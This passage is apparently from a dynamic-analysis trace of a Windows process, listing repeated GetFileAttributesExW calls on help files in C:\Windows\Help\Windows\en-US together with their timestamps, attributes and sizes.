	[0086.801] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\dvdburn.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\dvdburn.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240ef08 | out: lpFileInformation=0x1240ef08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae47c2bc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x19903)) returned 1
	[0086.801] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\efs.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\efs.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240ef58 | out: lpFileInformation=0x1240ef58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe5eb)) returned 1
	[0086.803] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\efsfull.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\efsfull.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240efa8 | out: lpFileInformation=0x1240efa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12e05)) returned 1
	[0086.803] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\errmes.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\errmes.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240eff8 | out: lpFileInformation=0x1240eff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc7b00, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3711b3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xecc7b00, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa472)) returned 1
	[0086.803] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\escalate.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\escalate.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f048 | out: lpFileInformation=0x1240f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3bd691, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5caa)) returned 1
	[0086.804] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\fax.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\fax.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f098 | out: lpFileInformation=0x1240f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x101b8)) returned 1
	[0086.804] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\firewall.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\firewall.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f0e8 | out: lpFileInformation=0x1240f0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16424)) returned 1
	[0086.805] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\fstexp.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\fstexp.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f138 | out: lpFileInformation=0x1240f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae397422, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2682e)) returned 1
	[0086.805] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\fus.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\fus.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f188 | out: lpFileInformation=0x1240f188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae47c2bc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6c0a)) returned 1
	[0086.805] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\games.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\games.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f1d8 | out: lpFileInformation=0x1240f1d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe447fcf, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3bd691, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe447fcf, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1dcda)) returned 1
	[0086.805] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\gamesp.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\gamesp.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f228 | out: lpFileInformation=0x1240f228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x159d7)) returned 1
	[0086.806] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\harddev.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\harddev.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f278 | out: lpFileInformation=0x1240f278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcad4f4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcad4f4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x474e0)) returned 1
	[0086.806] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\helpplc.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\helpplc.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f2c8 | out: lpFileInformation=0x1240f2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7c7b)) returned 1
	[0086.807] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\hgroup.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\hgroup.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f318 | out: lpFileInformation=0x1240f318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3bd691, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b357)) returned 1
	[0086.807] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\hgroupp.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\hgroupp.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f368 | out: lpFileInformation=0x1240f368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6289)) returned 1
	[0086.807] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\hhomeue.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\hhomeue.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f3b8 | out: lpFileInformation=0x1240f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae397422, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5966)) returned 1
	[0086.808] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\hmeshare.H1S" (normalized: "c:\\windows\\help\\windows\\en-us\\hmeshare.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f408 | out: lpFileInformation=0x1240f408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x19193)) returned 1
	[0086.808] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\ics.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\ics.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f458 | out: lpFileInformation=0x1240f458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xeb5c)) returned 1
	[0086.808] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\iisbasic.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\iisbasic.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f4a8 | out: lpFileInformation=0x1240f4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3e3900, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7ebd)) returned 1
	[0086.808] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\instmes.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\instmes.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f4f8 | out: lpFileInformation=0x1240f4f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae397422, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5fae)) returned 1
	[0086.809] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\itpro.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\itpro.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f548 | out: lpFileInformation=0x1240f548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xeb3a)) returned 1
	[0086.809] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\itprobasic.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\itprobasic.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f598 | out: lpFileInformation=0x1240f598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcad4f4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcad4f4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x309c8)) returned 1
	[0086.810] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\journal.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\journal.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f5e8 | out: lpFileInformation=0x1240f5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15662)) returned 1
	[0086.810] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\langreg.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\langreg.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f638 | out: lpFileInformation=0x1240f638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe447fcf, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3711b3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe447fcf, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c21)) returned 1
	[0086.810] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\legapp.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\legapp.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f688 | out: lpFileInformation=0x1240f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b627)) returned 1
	[0086.810] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\legapp2.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\legapp2.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f6d8 | out: lpFileInformation=0x1240f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcad4f4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3e3900, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcad4f4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbaa1)) returned 1
	[0086.811] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\library.H1S" (normalized: "c:\\windows\\help\\windows\\en-us\\library.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f728 | out: lpFileInformation=0x1240f728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ec80)) returned 1
	[0086.811] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\license.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\license.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f778 | out: lpFileInformation=0x1240f778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3bd691, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x614f)) returned 1
	[0086.811] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\locate.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\locate.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f7c8 | out: lpFileInformation=0x1240f7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6778)) returned 1
	[0086.812] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\locatep.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\locatep.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f818 | out: lpFileInformation=0x1240f818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe75f)) returned 1
	[0086.812] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\mail.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\mail.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f868 | out: lpFileInformation=0x1240f868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7703)) returned 1
	[0086.812] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\medctr.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\medctr.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f8b8 | out: lpFileInformation=0x1240f8b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae47c2bc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x40679)) returned 1
	[0086.813] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\medexp.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\medexp.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f908 | out: lpFileInformation=0x1240f908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46e288, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae34af44, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe46e288, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x22822)) returned 1
	[0086.813] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\medexp2.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\medexp2.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f958 | out: lpFileInformation=0x1240f958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55618)) returned 1
	[0086.813] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\medexptv.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\medexptv.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f9a8 | out: lpFileInformation=0x1240f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcad4f4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3711b3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcad4f4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xff8c)) returned 1
	[0086.813] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\migrate.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\migrate.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240f9f8 | out: lpFileInformation=0x1240f9f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46e288, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae34af44, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe46e288, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xcf31)) returned 1
	[0086.814] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\misccommandreference.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\misccommandreference.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240fa48 | out: lpFileInformation=0x1240fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x120d1135, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3711b3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x120d1135, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12b4c)) returned 1
	[0086.814] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\mobctr.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\mobctr.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240fa98 | out: lpFileInformation=0x1240fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6ef5)) returned 1
	[0086.814] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\mobile.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\mobile.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240fae8 | out: lpFileInformation=0x1240fae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xdcb1)) returned 1
	[0086.815] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\movie.H1S" (normalized: "c:\\windows\\help\\windows\\en-us\\movie.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240fb38 | out: lpFileInformation=0x1240fb38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6214)) returned 1
	[0086.815] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\mreuse.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\mreuse.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240fb88 | out: lpFileInformation=0x1240fb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5941)) returned 1
	[0086.815] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\multboot.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\multboot.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240fbd8 | out: lpFileInformation=0x1240fbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3bd691, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa3f2)) returned 1
